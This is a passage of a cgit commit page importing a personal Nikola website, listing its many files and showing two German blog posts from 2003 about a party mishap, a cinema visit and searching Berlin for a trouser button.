summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorerdgeist <erdgeist@bauklotz.local>2015-08-16 16:38:25 +0200
committererdgeist <erdgeist@bauklotz.local>2015-08-16 16:38:25 +0200
commit23f0e1561767dd8a396188e317bae5920d171ea8 (patch)
treea67f44e39ad8a45e42d60634488a65c37f3ad432
Initial import of my nikola website
-rw-r--r--blog/2003/Altes.md29
-rw-r--r--blog/2003/Buttons.md36
-rw-r--r--blog/2003/Dezemberkind.md9
-rw-r--r--blog/2003/Die_Christenheit.md96
-rw-r--r--blog/2003/Dinge_erledigt.md50
-rw-r--r--blog/2003/Geekin.md14
-rw-r--r--blog/2003/Geld_ausgeben.md26
-rw-r--r--blog/2003/Google_bomben.md12
-rw-r--r--blog/2003/Hefe_und_Diesel.md8
-rw-r--r--blog/2003/Hoffen_auf_Netz.md12
-rw-r--r--blog/2003/Metageschwafel.md16
-rw-r--r--blog/2003/Rock_und_Roll.md22
-rw-r--r--blog/2003/Schwein_gehabt.md126
-rw-r--r--blog/2003/Shoppen__Essen_und_Studieren.md16
-rw-r--r--blog/2003/Spontanes_Gehacke.md23
-rw-r--r--blog/2003/Spontanes_Gehacke_II.md51
-rw-r--r--blog/2003/Unter_Schafen.md18
-rw-r--r--blog/2003/iPod_da.md16
-rw-r--r--blog/2004/Aufholjagd.md22
-rw-r--r--blog/2004/Babelfish.md10
-rw-r--r--blog/2004/Begegnungen.md40
-rw-r--r--blog/2004/Blip.md10
-rw-r--r--blog/2004/Bondage_Art.md10
-rw-r--r--blog/2004/Fahrradschuppen.md21
-rw-r--r--blog/2004/Filmzitate.md8
-rw-r--r--blog/2004/Gegammel.md21
-rw-r--r--blog/2004/Gerechte_Leiden.md13
-rw-r--r--blog/2004/Geschafft.md50
-rw-r--r--blog/2004/Herrlicher_Laerm.md20
-rw-r--r--blog/2004/Kleinkunst.md6
-rw-r--r--blog/2004/Mehr_Papis.md8
-rw-r--r--blog/2004/Mit_dem_Schwert_nach_Polen.md10
-rw-r--r--blog/2004/Nikilausi.md24
-rw-r--r--blog/2004/Schlechtes_Gewissen.md132
-rw-r--r--blog/2004/Sniff.md6
-rw-r--r--blog/2004/Teil_I.md47
-rw-r--r--blog/2004/Teil_II.md67
-rw-r--r--blog/2004/Von_wegen_nichts_erlebt.md30
-rw-r--r--blog/2004/Wochenblog.md16
-rw-r--r--blog/2004/Ziviler_Ungehorsam.md10
-rw-r--r--blog/2005/Ablenkung.md14
-rw-r--r--blog/2005/Auf_gut_Glueck.md16
-rw-r--r--blog/2005/Befreit.md6
-rw-r--r--blog/2005/Beobachtungen.md19
-rw-r--r--blog/2005/Ch-Ch-Ch-Ch-Changes.md31
-rw-r--r--blog/2005/Darunter_drei_Deutsche.md6
-rw-r--r--blog/2005/Deppen.md10
-rw-r--r--blog/2005/Feiervolk.md38
-rw-r--r--blog/2005/Filmkritik.md20
-rw-r--r--blog/2005/Fotoblog.md9
-rw-r--r--blog/2005/Grundsatz.md30
-rw-r--r--blog/2005/Haben_wir_doch_schon.md37
-rw-r--r--blog/2005/Heldenblogger.md6
-rw-r--r--blog/2005/KnastHorst.md128
-rw-r--r--blog/2005/Lot.md27
-rw-r--r--blog/2005/Messlatte.md24
-rw-r--r--blog/2005/Nerd_Fame.md10
-rw-r--r--blog/2005/Notizblog.md27
-rw-r--r--blog/2005/Offizieller_Sommer.md18
-rw-r--r--blog/2005/One_more_thing.md8
-rw-r--r--blog/2005/Quartalsblogger.md47
-rw-r--r--blog/2005/Rekreation.md9
-rw-r--r--blog/2005/Schnitte.md16
-rw-r--r--blog/2005/Signale.md8
-rw-r--r--blog/2005/Spam.md11
-rw-r--r--blog/2005/Tintenpisser.md18
-rw-r--r--blog/2005/Trendsetter.md54
-rw-r--r--blog/2005/Unparteiisch.md31
-rw-r--r--blog/2005/Was_angerichtet.md18
-rw-r--r--blog/2005/Wedekind.md35
-rw-r--r--blog/2006/10_Sekunden_zappeln_bei_5000bpm.md14
-rw-r--r--blog/2006/Bei_genauerer_Betrachtung.md6
-rw-r--r--blog/2006/Dieses_erlischt_zu_einer_I_Liebe.md27
-rw-r--r--blog/2006/Drucke.md12
-rw-r--r--blog/2006/Hirsch.md6
-rw-r--r--blog/2006/Humankapital_in_der_Aufmerksamkeitsoekonomie.md24
-rw-r--r--blog/2006/Neunzehnvierundachtzig.md41
-rw-r--r--blog/2006/Nikolaus.md52
-rw-r--r--blog/2006/Tims_Name_ist.md6
-rw-r--r--blog/2006/Vollkaskodeure.md24
-rw-r--r--blog/2006/Wahlhelfer.md10
-rw-r--r--blog/2007/Art_and_beauty.md30
-rw-r--r--blog/2007/Ausgeknipst.md27
-rw-r--r--blog/2007/Bekannte_Gastgeber.rst7
-rw-r--r--blog/2007/Fruehstuecksueberwachungsverein.md7
-rw-r--r--blog/2007/Herrenwitz.md11
-rw-r--r--blog/2007/Lebensstilreflexion.md6
-rw-r--r--blog/2007/Pauker.md18
-rw-r--r--blog/2007/ezjail-mailinglist.rst5
-rw-r--r--blog/2008/Datenmessie.md82
-rw-r--r--blog/2008/Wahle_beobachte.md22
-rw-r--r--blog/2009/Der_Zensurbegriff.md20
-rw-r--r--blog/2009/Medienschwemme.md16
-rw-r--r--blog/2009/Papieraequivalente_Authentizitaet.md24
-rw-r--r--blog/2010/Weltumsegelung.md10
-rw-r--r--blog/2011/Die_Beerware-Lizenz.md14
-rw-r--r--blog/2012/FileVault_Service-Post.md16
-rw-r--r--blog/2012/ezjail-3.2.2.rst5
-rw-r--r--blog/2012/ezjail-3.2.3.rst5
-rw-r--r--blog/2013/ezjail-3.3.rst5
-rw-r--r--blog/2013/ezjail-3.4.rst5
-rw-r--r--blog/2013/repositions.md67
-rw-r--r--blog/2014/Self-righteous_spam_police.md61
-rw-r--r--blog/2014/Using_libressl.md30
-rw-r--r--blog/2015/Little-big-data.rst10
-rw-r--r--blog/2015/Steueranachronismus.rst22
-rw-r--r--blog/2015/ergebnisse-massgeschneidert.rst22
-rw-r--r--blog/2015/hello-world.rst15
-rw-r--r--blog/2015/travel-tips.rst64
-rw-r--r--blog/2015/write-the-flogging-manual.rst39
-rw-r--r--conf.py955
-rw-r--r--files/.DS_Storebin0 -> 6148 bytes
-rw-r--r--files/arts/.DS_Storebin0 -> 6148 bytes
-rw-r--r--files/arts/music/AlteZeiten.txt48
-rwxr-xr-xfiles/arts/music/Alte_Zeiten.mp3bin0 -> 1264452 bytes
-rwxr-xr-xfiles/arts/music/Fine.mp3bin0 -> 732070 bytes
-rw-r--r--files/arts/music/Fine.txt23
-rw-r--r--files/arts/music/FnordNews.mp3bin0 -> 277929 bytes
-rw-r--r--files/arts/music/FnordNewsExtended-lb.mp3bin0 -> 508242 bytes
-rw-r--r--files/arts/music/FnordNewsExtended.mp3bin0 -> 496959 bytes
-rw-r--r--files/arts/music/FnordNewsJingle.mp3bin0 -> 104636 bytes
-rw-r--r--files/arts/music/FrauKrüger.mp3bin0 -> 1694646 bytes
-rw-r--r--files/arts/music/From Me To You.mp4bin0 -> 71542017 bytes
-rw-r--r--files/arts/music/Halleluja.mp3bin0 -> 3221128 bytes
-rw-r--r--files/arts/music/Hero64
-rw-r--r--files/arts/music/Herov1.mp3bin0 -> 1431110 bytes
-rw-r--r--files/arts/music/Herov2.mp3bin0 -> 1874982 bytes
-rw-r--r--files/arts/music/Hoerig.mp3bin0 -> 2058030 bytes
-rw-r--r--files/arts/music/Hoerig.txt25
-rw-r--r--files/arts/music/Hymne.mp3bin0 -> 746392 bytes
-rw-r--r--files/arts/music/Janina.mp3bin0 -> 427718 bytes
-rw-r--r--files/arts/music/Lebende.html1
-rwxr-xr-xfiles/arts/music/Lebende.mp3bin0 -> 361510 bytes
-rw-r--r--files/arts/music/Lebende.txt24
-rw-r--r--files/arts/music/Lebende.wavbin0 -> 731964 bytes
-rw-r--r--files/arts/music/No Angel Yet.mp3bin0 -> 1028838 bytes
-rw-r--r--files/arts/music/No Angel Yet.txt40
-rw-r--r--files/arts/music/Pimmelterrorist36
-rw-r--r--files/arts/music/Pimmelterrorist.mp3bin0 -> 1183590 bytes
-rw-r--r--files/arts/music/Riding Monkeys.mp3bin0 -> 2820010 bytes
-rw-r--r--files/arts/music/Schnee_im_April.mp3bin0 -> 2331375 bytes
-rw-r--r--files/arts/music/Soehne29
-rw-r--r--files/arts/music/Soehne.mp3bin0 -> 917830 bytes
-rwxr-xr-xfiles/arts/music/Sven26
-rw-r--r--files/arts/music/Sven.mp3bin0 -> 1029098 bytes
-rw-r--r--files/arts/music/Tonite34
-rw-r--r--files/arts/music/Tonitev1.mp3bin0 -> 1633990 bytes
-rw-r--r--files/arts/music/Tonitev2.mp3bin0 -> 1629574 bytes
-rw-r--r--files/arts/music/Turing_Galaxy.mp3bin0 -> 861749 bytes
-rw-r--r--files/arts/music/Wahrheit.mp3bin0 -> 389037 bytes
-rw-r--r--files/arts/music/Wahrheit_Intro.mp3bin0 -> 782127 bytes
-rw-r--r--files/arts/music/Wahrheit_Intro_Bombast.mp3bin0 -> 782127 bytes
-rw-r--r--files/arts/music/WarmeGedanken.mp3bin0 -> 3257551 bytes
-rw-r--r--files/arts/music/Wiese34
-rw-r--r--files/arts/music/Wiese.mp3bin0 -> 2151540 bytes
-rw-r--r--files/arts/music/content-transpose.html127
-rw-r--r--files/arts/music/content.html21
-rw-r--r--files/arts/software/.DS_Storebin0 -> 6148 bytes
-rw-r--r--files/arts/software/Code/elektropost/auth.patch.diff-tls141
-rw-r--r--files/arts/software/Code/elektropost/maildroprc21
-rwxr-xr-xfiles/arts/software/Code/elektropost/mkvalidrcptto826
-rw-r--r--files/arts/software/Code/elektropost/qmail-smtpd.c.force.tls.patch42
-rw-r--r--files/arts/software/Code/elektropost/qmail-smtpd.c.privacy.patch31
-rw-r--r--files/arts/software/Code/elektropost/tcp.smtp14
-rw-r--r--files/arts/software/Code/elektropost/validrcptto.cdb.patch.new153
-rwxr-xr-xfiles/arts/software/Code/vchat-clientbin0 -> 1922072 bytes
-rwxr-xr-xfiles/arts/software/etherpad/etherpad35
-rw-r--r--files/arts/software/etherpad/nginx-etherpad.conf25
-rw-r--r--files/arts/software/etherpad/nginx.conf53
-rwxr-xr-xfiles/arts/software/etherpad/soffice28
-rw-r--r--files/arts/software/ezjail/ezjail-0.1.tar.bz2bin0 -> 5314 bytes
-rw-r--r--files/arts/software/ezjail/ezjail-1.0.tar.bz2bin0 -> 5456 bytes
-rw-r--r--files/arts/software/ezjail/ezjail-1.1.tar.bz2bin0 -> 5727 bytes
-rw-r--r--files/arts/software/ezjail/ezjail-1.2.tar.bz2bin0 -> 8836 bytes
-rw-r--r--files/arts/software/ezjail/ezjail-1.2b.tar.bz2bin0 -> 9118 bytes
-rw-r--r--files/arts/software/ezjail/ezjail-1.3.1.tar.bz2bin0 -> 8999 bytes
-rw-r--r--files/arts/software/ezjail/ezjail-1.3.tar.bz2bin0 -> 8894 bytes
-rw-r--r--files/arts/software/ezjail/ezjail-2.0.1.tar.bz2bin0 -> 15540 bytes
-rw-r--r--files/arts/software/ezjail/ezjail-2.0.tar.bz2bin0 -> 15528 bytes
-rw-r--r--files/arts/software/ezjail/ezjail-2.0b.tar.bz2bin0 -> 15548 bytes
-rw-r--r--files/arts/software/ezjail/ezjail-2.1.tar.bz2bin0 -> 17010 bytes
-rw-r--r--files/arts/software/ezjail/ezjail-3.0.tar.bz2bin0 -> 21261 bytes
-rw-r--r--files/arts/software/ezjail/ezjail-3.0b.tar.bz2bin0 -> 20689 bytes
-rw-r--r--files/arts/software/ezjail/ezjail-3.1.tar.bz2bin0 -> 24051 bytes
-rw-r--r--files/arts/software/ezjail/ezjail-3.2.1.tar.bz2bin0 -> 34284 bytes
-rw-r--r--files/arts/software/ezjail/ezjail-3.2.2.tar.bz2bin0 -> 34579 bytes
-rw-r--r--files/arts/software/ezjail/ezjail-3.2.3.tar.bz2bin0 -> 34638 bytes
-rw-r--r--files/arts/software/ezjail/ezjail-3.2.tar.bz2bin0 -> 33593 bytes
-rw-r--r--files/arts/software/ezjail/ezjail-3.3.tar.bz2bin0 -> 35563 bytes
-rw-r--r--files/arts/software/ezjail/ezjail-3.4.1.tar.bz2bin0 -> 37728 bytes
-rw-r--r--files/arts/software/ezjail/ezjail-3.4.tar.bz2bin0 -> 37597 bytes
-rw-r--r--files/arts/software/ezjail/ezjail-admin.8.pdf4073
-rw-r--r--files/arts/software/ezjail/ezjail.7.pdf4038
-rw-r--r--files/arts/software/ezjail/ezjail.conf.5.pdf1605
-rw-r--r--files/arts/software/jaildaemon/jaildaemon-0.1.tar.bz2bin0 -> 9112 bytes
-rw-r--r--files/arts/software/jaildaemon/jaildaemon-0.2.1.tar.bz2bin0 -> 9371 bytes
-rw-r--r--files/arts/software/jaildaemon/jaildaemon-0.2.tar.bz2bin0 -> 9555 bytes
-rw-r--r--files/arts/software/minimunin/minimunin-0.1.tar.bz2bin0 -> 4611 bytes
-rw-r--r--files/arts/software/minimunin/minimunin-0.2.tar.bz2bin0 -> 4677 bytes
-rw-r--r--files/arts/software/opentracker/opentracker_beta3.pngbin0 -> 35217 bytes
-rw-r--r--files/arts/software/timestretch/timestretch_1.pngbin0 -> 18159 bytes
-rw-r--r--files/arts/software/timestretch/timestretch_2.pngbin0 -> 20307 bytes
-rwxr-xr-xfiles/cgit/cgit.cgibin0 -> 817760 bytes
-rw-r--r--files/cgit/cgit.css804
-rw-r--r--files/cgit/cgit.pngbin0 -> 1488 bytes
-rw-r--r--files/cgit/favicon.icobin0 -> 1078 bytes
-rw-r--r--files/cgit/robots.txt3
-rw-r--r--files/epost.pdfbin0 -> 63541 bytes
-rw-r--r--files/erdgeist.org.tbzbin0 -> 298726 bytes
-rw-r--r--files/fnord/news/Studio-RT.JPGbin0 -> 1564484 bytes
-rw-r--r--files/fnord/news/speeding.jpgbin0 -> 55384 bytes
-rw-r--r--files/hello-world.jpgbin0 -> 98492 bytes
-rw-r--r--files/key.asc235
-rw-r--r--files/lectures/0zapftis.pdfbin0 -> 3520786 bytes
-rw-r--r--files/lectures/Cryptocon-Keynote.pdfbin0 -> 3652825 bytes
-rw-r--r--files/lectures/Little Big Data.pdfbin0 -> 26238317 bytes
-rw-r--r--files/lectures/TrackerFahrn.pdfbin0 -> 5759749 bytes
-rw-r--r--files/lectures/Wahlcomputer_Talk.pdfbin0 -> 6207186 bytes
-rw-r--r--files/stats/blog/pics/100_0539.JPGbin0 -> 972775 bytes
-rwxr-xr-xfiles/stats/blog/pics/Blumentopf.JPGbin0 -> 867224 bytes
-rw-r--r--files/stats/blog/pics/CCCB.jpgbin0 -> 64244 bytes
-rw-r--r--files/stats/blog/pics/Dank_allen_Helfern.jpgbin0 -> 73829 bytes
-rwxr-xr-xfiles/stats/blog/pics/Drecksbotten.jpgbin0 -> 120352 bytes
-rw-r--r--files/stats/blog/pics/EinEis.jpgbin0 -> 86979 bytes
-rw-r--r--files/stats/blog/pics/Garderobe.jpgbin0 -> 28250 bytes
-rw-r--r--files/stats/blog/pics/GutenMorgen.jpgbin0 -> 75737 bytes
-rw-r--r--files/stats/blog/pics/IMG_3571_k.jpgbin0 -> 49803 bytes
-rw-r--r--files/stats/blog/pics/Im-Herbst.jpgbin0 -> 124035 bytes
-rw-r--r--files/stats/blog/pics/Kapelle.jpgbin0 -> 120370 bytes
-rw-r--r--files/stats/blog/pics/KaputtesAuto.jpgbin0 -> 508714 bytes
-rw-r--r--files/stats/blog/pics/Lofts.jpgbin0 -> 125076 bytes
-rwxr-xr-xfiles/stats/blog/pics/Maulhurpf.jpgbin0 -> 421390 bytes
-rw-r--r--files/stats/blog/pics/Planetarium.jpgbin0 -> 1982055 bytes
-rw-r--r--files/stats/blog/pics/Rollern.jpgbin0 -> 92116 bytes
-rw-r--r--files/stats/blog/pics/ShirtCam1.jpgbin0 -> 1184624 bytes
-rw-r--r--files/stats/blog/pics/ShirtCam2.jpgbin0 -> 1163805 bytes
-rw-r--r--files/stats/blog/pics/Studium.jpgbin0 -> 85880 bytes
-rw-r--r--files/stats/blog/pics/Volkspark.jpgbin0 -> 72028 bytes
-rw-r--r--files/stats/blog/pics/Wetter.jpgbin0 -> 96516 bytes
-rw-r--r--files/stats/blog/pics/Wiesen.jpgbin0 -> 1177161 bytes
-rw-r--r--files/stats/blog/pics/bola.jpgbin0 -> 120367 bytes
-rwxr-xr-xfiles/stats/blog/pics/erste72.jpgbin0 -> 916384 bytes
-rw-r--r--files/stats/blog/pics/espresso-anden.jpgbin0 -> 1048919 bytes
-rw-r--r--files/stats/blog/pics/iCalShuffle.jpgbin0 -> 53047 bytes
-rw-r--r--files/stats/blog/pics/latte.jpgbin0 -> 1606814 bytes
-rw-r--r--files/stats/blog/pics/los_penisheads.jpgbin0 -> 1675640 bytes
-rw-r--r--files/stats/blog/pics/los_sombreros.jpgbin0 -> 1669326 bytes
-rw-r--r--files/stats/blog/pics/phNeutral.jpgbin0 -> 98651 bytes
-rw-r--r--files/stats/blog/pics/stoertaste.jpgbin0 -> 82708 bytes
-rw-r--r--files/stats/blog/pics/yor.jpgbin0 -> 41978 bytes
-rw-r--r--stories/about.rst35
-rw-r--r--stories/beerware.md8
-rw-r--r--stories/index.rst61
-rw-r--r--stories/lectures/Wahlcomputer.rst95
-rw-r--r--stories/music/Alte_Zeiten.rst62
-rwxr-xr-xstories/music/Fine.rst41
-rw-r--r--stories/music/Frau_Krüger.rst53
-rw-r--r--stories/music/From_Me_To_You.rst37
-rw-r--r--stories/music/Hero.rst64
-rw-r--r--stories/music/Hoerig.rst42
-rw-r--r--stories/music/No_Angel_Yet.rst57
-rw-r--r--stories/music/Pimmelterrorist.rst54
-rw-r--r--stories/music/Riding_Monkey.rst23
-rw-r--r--stories/music/Schnee_im_April.rst48
-rw-r--r--stories/music/Sven.rst38
-rw-r--r--stories/music/Tonite.rst43
-rw-r--r--stories/music/Warme_Gedanken.rst68
-rw-r--r--stories/music/Wiese.rst47
-rw-r--r--stories/music/index.rst41
-rw-r--r--stories/music/transpose.rst115
-rw-r--r--stories/photos/index.rst9
-rw-r--r--stories/poetry/Datenschleuder-BoesePost13
-rw-r--r--stories/poetry/Ein_Abend.md21
-rw-r--r--stories/poetry/Grußkarte.md9
-rw-r--r--stories/poetry/MeinVortrag/01.html8
-rw-r--r--stories/poetry/MeinVortrag/02.html6
-rw-r--r--stories/poetry/MeinVortrag/03.html11
-rw-r--r--stories/poetry/MeinVortrag/04.html12
-rw-r--r--stories/poetry/MeinVortrag/05.html27
-rw-r--r--stories/poetry/MeinVortrag/06.html8
-rw-r--r--stories/poetry/MeinVortrag/07.html14
-rw-r--r--stories/poetry/MeinVortrag/08.html16
-rw-r--r--stories/poetry/MeinVortrag/09.html13
-rw-r--r--stories/poetry/MeinVortrag/10.html10
-rw-r--r--stories/poetry/MeinVortrag/11.html18
-rw-r--r--stories/poetry/MeinVortrag/12.html17
-rw-r--r--stories/poetry/MeinVortrag/13.html24
-rw-r--r--stories/poetry/MeinVortrag/14.html25
-rw-r--r--stories/poetry/MeinVortrag/15.html23
-rw-r--r--stories/poetry/MeinVortrag/16.html25
-rw-r--r--stories/poetry/MeinVortrag/17.html26
-rw-r--r--stories/poetry/MeinVortrag/18.html20
-rw-r--r--stories/poetry/MeinVortrag/19.html14
-rw-r--r--stories/poetry/MeinVortrag/Vortrag-FormatStrings367
-rw-r--r--stories/poetry/MeinVortrag/templ.html7
-rw-r--r--stories/poetry/SeinSohn.md17
-rw-r--r--stories/poetry/Unreal.md27
-rw-r--r--stories/poetry/aussage1.md7
-rw-r--r--stories/poetry/aussage2.md7
-rw-r--r--stories/poetry/aussage3.md7
-rw-r--r--stories/poetry/baecker.md32
-rw-r--r--stories/poetry/bsd.vs.linux.md11
-rw-r--r--stories/poetry/domizil.md19
-rw-r--r--stories/poetry/dreiviertel33
-rw-r--r--stories/poetry/elokpaula.md17
-rw-r--r--stories/poetry/fdp.md60
-rw-r--r--stories/poetry/feindkontakt.md47
-rw-r--r--stories/poetry/freiheit.md21
-rw-r--r--stories/poetry/fruehlingsgewitter.md30
-rw-r--r--stories/poetry/geaendert.md18
-rw-r--r--stories/poetry/gefangen.md17
-rw-r--r--stories/poetry/gefunden.md19
-rw-r--r--stories/poetry/grau.md26
-rw-r--r--stories/poetry/grossejungs.md23
-rw-r--r--stories/poetry/header4
-rw-r--r--stories/poetry/im_sog.md20
-rw-r--r--stories/poetry/index.rst13
-rw-r--r--stories/poetry/kuenstler30
-rw-r--r--stories/poetry/lovers.md15
-rw-r--r--stories/poetry/madkarin.md35
-rw-r--r--stories/poetry/milchstrasse.md17
-rw-r--r--stories/poetry/missverstaendnis.md27
-rw-r--r--stories/poetry/mistral.md16
-rw-r--r--stories/poetry/mondgoettin.md26
-rw-r--r--stories/poetry/nachts.md20
-rw-r--r--stories/poetry/pamphlet8
-rw-r--r--stories/poetry/perfektion.md32
-rw-r--r--stories/poetry/schneebilder.md33
-rw-r--r--stories/poetry/seelenkratzer.md17
-rw-r--r--stories/poetry/seemann.md71
-rw-r--r--stories/poetry/traeumerei.md40
-rw-r--r--stories/poetry/tscheljabinsk.md15
-rw-r--r--stories/poetry/urlaubsgruesse.md14
-rw-r--r--stories/poetry/vchat.md35
-rw-r--r--stories/poetry/verloren.md26
-rw-r--r--stories/poetry/wasted.md20
-rw-r--r--stories/poetry/wille.md28
-rw-r--r--stories/poetry/wortzahl84.md35
-rw-r--r--stories/poetry/zeitlos.md18
-rw-r--r--stories/poetry/zynismus.md36
-rw-r--r--stories/projects/Telefonbuch.rst7
-rw-r--r--stories/projects/anonbox.rst7
-rw-r--r--stories/projects/briefkasten.rst6
-rw-r--r--stories/projects/el.rst72
-rw-r--r--stories/projects/elektropost.rst197
-rw-r--r--stories/projects/etherpad.rst237
-rwxr-xr-xstories/projects/ezjail.conf.5229
-rw-r--r--stories/projects/ezjail.rst412
-rw-r--r--stories/projects/ezjail_philosophy.rst50
-rw-r--r--stories/projects/jaildaemon.rst77
-rw-r--r--stories/projects/minimunin.rst75
-rw-r--r--stories/projects/opentracker.rst136
-rw-r--r--stories/projects/timestretch.rst63
-rw-r--r--stories/projects/vchat-client.rst267
-rw-r--r--themes/erdgeist/assets/css/bootstrap.css6716
-rw-r--r--themes/erdgeist/assets/css/bootstrap.min.css6
-rw-r--r--themes/erdgeist/assets/css/erdgeist-embedded.css70
-rw-r--r--themes/erdgeist/assets/css/erdgeist.css293
-rw-r--r--themes/erdgeist/assets/font/erdgeist.eotbin0 -> 7804 bytes
-rw-r--r--themes/erdgeist/assets/font/erdgeist.svg27
-rw-r--r--themes/erdgeist/assets/font/erdgeist.ttfbin0 -> 7636 bytes
-rw-r--r--themes/erdgeist/assets/font/erdgeist.woffbin0 -> 4852 bytes
-rw-r--r--themes/erdgeist/assets/font/sourcesanspro/v9/ODelI1aHBYDBqgeIAH2zlEY6Fu39Tt9XkmtSosaMoEA.ttfbin0 -> 25408 bytes
-rw-r--r--themes/erdgeist/assets/font/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGLlcMrNrsnL9dgADnXgYJjs.ttfbin0 -> 25160 bytes
-rw-r--r--themes/erdgeist/assets/font/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGPS42wKzre0cxmO5m5GyTsY.ttfbin0 -> 25668 bytes
-rw-r--r--themes/erdgeist/assets/img/dark_stripes.pngbin0 -> 1249 bytes
-rw-r--r--themes/erdgeist/bundles1
-rw-r--r--themes/erdgeist/parent1
-rw-r--r--themes/erdgeist/templates/base.tmpl58
-rw-r--r--themes/erdgeist/templates/base_helper.tmpl168
-rw-r--r--themes/erdgeist/templates/index.tmpl35
-rw-r--r--themes/erdgeist/templates/index_helper.tmpl27
-rw-r--r--themes/erdgeist/templates/list_blogposts.tmpl41
-rw-r--r--themes/erdgeist/templates/list_poetry.tmpl16
-rw-r--r--themes/erdgeist/templates/list_projectnews.tmpl16
-rw-r--r--themes/erdgeist/templates/list_projects.tmpl16
-rw-r--r--themes/erdgeist/templates/post.tmpl51
-rw-r--r--themes/erdgeist/templates/post_header.tmpl53
378 files changed, 28687 insertions, 0 deletions
diff --git a/blog/2003/Altes.md b/blog/2003/Altes.md
new file mode 100644
index 0000000..127128e
--- /dev/null
+++ b/blog/2003/Altes.md
@@ -0,0 +1,29 @@
1<!--
2.. date: 2003/10/26 02:52
3.. title: Altes
4-->
5
6Ich merke langsam, wie mein Alter mich einholt. Gestern abend hat Antenne in ihren 2x. Geburtstag hineingefeiert. Ooch nich mehr die Juengste. Aber
7_mich_ hat's dahingerafft. Und zwar schon so gegen ein Uhr. Zu der Zeit ging noch vor Kurzem ein Abend erst los. Nunja. Die Woche war auch hart, das
8muss ich zu meiner Verteidigung sagen. Aber dass ich dann 16 Stunden geschlafen hab und immer noch knuelle bin, ist kein gutes Zeichen.
9
10Andererseits hab ich auf dem Weg zu dieser Party eine Sonne geschossen, wie ein kleiner Junge. Problem hierbei war aber, dass ich dabei zwei volle
11Kaesten [Berliner](http://www.berlinerpilsner.de/) in der Hand hatte, die der Martin netterweise fuer die Party gesponsored hatte. Dank des
12heroischen Einsatz' meines Knies, welches ich nach dem Aufschlag noch unter die Kaesten geschoben hab, sind nur 3 Flaschen (und eben ein Knie) kaputt
13gegangen. Zum Glueck hab ich gerade ein Mietauto, also reichte es, die dreckigen Kaesten auf der Party abzuduschen. Zum Trost gabs dann lecker
14[Donauwelle](http://www.chefkoch.de/rezept-anzeige/ID.80641031404284/ID2.48/Donauwelle.html) und Apfelkuchen von Martin und n Pflaster
15fuers Knie. Den obligatorischen Marienkaefer da drauf hab ich mir dann aber mangels geeigneter Stifte gespart.
16
17Heute abend gabs dann (nach den besagten 16 Stunden Schlaf) altes Kino. Der Directors Cut von [Alien](http://www.imdb.com/title/tt0078748/)
18laeuft zur Zeit in einigen Kinos Berlins. Im [Cubix](http://www.jowi.de/cubix-ufa-palast/) wurden wir dann aber mit 15 Minuten Werbung und 20
19Minuten zwischen den beiden Werbebloecken ein wenig zu sehr genervt, vor allem, da wir zu [Kill Bill](http://www.kill-bill.com) im [FT Friedrichshain](http://www.yorck.de/yorck_net/yorck_kinos/filmtheateram.php3) genau keine Werbung zu ertragen hatten. (Dafuer hatte der
20Saal, in den der Film wegen der Sneak an diesem Abend verlegt wurde, aber auch eher Wohnzimmeratmosphaere, weshalb Filib den ganzen Abend rumningeln
21musste.) Alien ist aber immer wieder ein Hingucker und trotz der deutlichen Unterschiede in der Qualitaet der Bilder grosses Kino.
22
23Grad eben, beim Schreiben dieser Zeilen wuerde der letzte Hauch Sommer mit der "Sommerzeit" weggeblasen. Und mit Erstaunen hoere und lese ich die
24Freudebekundungen einiger Mitmenschen, dass eine Stunde mehr Schlaf dabei rausfiele. Als ob sie vergessen haben, dass sie dafuer vor einem halben
25Jahr eine halbe Stunde weniger schlafen durften und sich zweimal im Jahr einem ["kollektiven Jetlag"](http://www.realzeit.org/faq.html)
26aussetzen. Und nicht nur, dass sich der Handel erbloedet, mittlerweile schon wieder Weihnachtsmaenner und sonstige Fundamentalistendevotionalien
27ins Angebot zu nehmen, noe jetzt wird sogar die Zeitumstellung als Vorwand benutzt, einen weiteren [langen Samstag](http://morgenpost.berlin1.de/inhalt/berlin/story637374.html) zu erfinden. Was Menschen dazu antreibt, sich von
28aussergewoehnlichen Oeffnungszeiten zum Geldausgeben animieren zu lassen, ist mir komplett schleierhaft. Hat vielleicht ein wenig was von Pluenderungen,
29nachts in rauhen Mengen die Geschaefte zu stuermen. Vielleicht sollte das DRK mal Nachtblutspenden einfuehren.
diff --git a/blog/2003/Buttons.md b/blog/2003/Buttons.md
new file mode 100644
index 0000000..5d88c7a
--- /dev/null
+++ b/blog/2003/Buttons.md
@@ -0,0 +1,36 @@
1<!--
2.. date: 2003/11/06 18:06
3.. title: Buttons
4-->
5
6Es ist vollbracht! Nach nur 3 Wochen Suche habe ich es geschafft, einen Knopf fuer meine Lieblingshose zu finden. Der war mir in irgendeiner
7tolpatschigen Aktion abgerissen. Nicht, dass ich besonders waehlerisch war. Nein. Es gibt keine Laeden, in denen man mal eben Hosenknoepfe kaufen
8kann. Ich hab im Friedrichshain und Prenzelberg so ziemlich alle Laeden abgesucht, (sogar den, wo ich die Hose gekauft habe): 99-Pfennichlaeden,
9MrMinit-Schustereien, Supermaerkte, Boutiquen, Dessougeschaefte... Vereinzelt gab es sogar Druckknoepfe oder kleine weisse Bettwaescheknoepfe im
1040er-Pack, aber keine Hosenknoepfe. Eine Schande, dass es keine Schneidereien mehr gibt, genauso hat sich die Zahl der Fleischereien, Polstereien,
11Tante-Emma-Laeden und all den Geschaeften, die eigentlich in so ein Stadtbild gehoeren sollten, zumindest in diesen "Szenevierteln" radikal reduziert.
12Dafuer gibt es die netten zentralen, gemuetlichen Center. In einem solchen habe ich aber, um die Geschichte abzuschliessen, einen kleinen
13tuerkischen Familienbetrieb gefunden, der Aenderungsschneiderei und Textilreinigung spielt. Dort hat mir die liebe aufgetakelte Oma einen Knopf
14aus ihrer bunten Knoepfetasche geschenkt. Der ist jetzt doppelt fest angenaeht. Aber vielleicht sollte ich mich bei Zeiten nach einem Ersatzknopf
15umgucken.
16
17Was mir noch aufgefallen ist, ist dass Zahnaerzte so ein zynisches Spiel mit den Patienten spielen. Andrea hatte eine Operation. Weisheitszaehne,
18unschoene Details galore. Dabei hab ich sie, Gentelman, wie ich bin, begleitet. Die lokale Betaeubung ging dann mit nur 25 Minuten warten relativ
19schnell. Nur sass sie dann mit der betaeubten Backe nochmal eine geschlagene Stunde rum, bis sie dann endlich unters Messer kam. Und der Grund:
20die Aerzte bestellen sich die Patienten im Viertelstundentakt, wohl wissend, dass eine OP im Durchschnitt 30 Minuten dauert und kalkulieren, dass
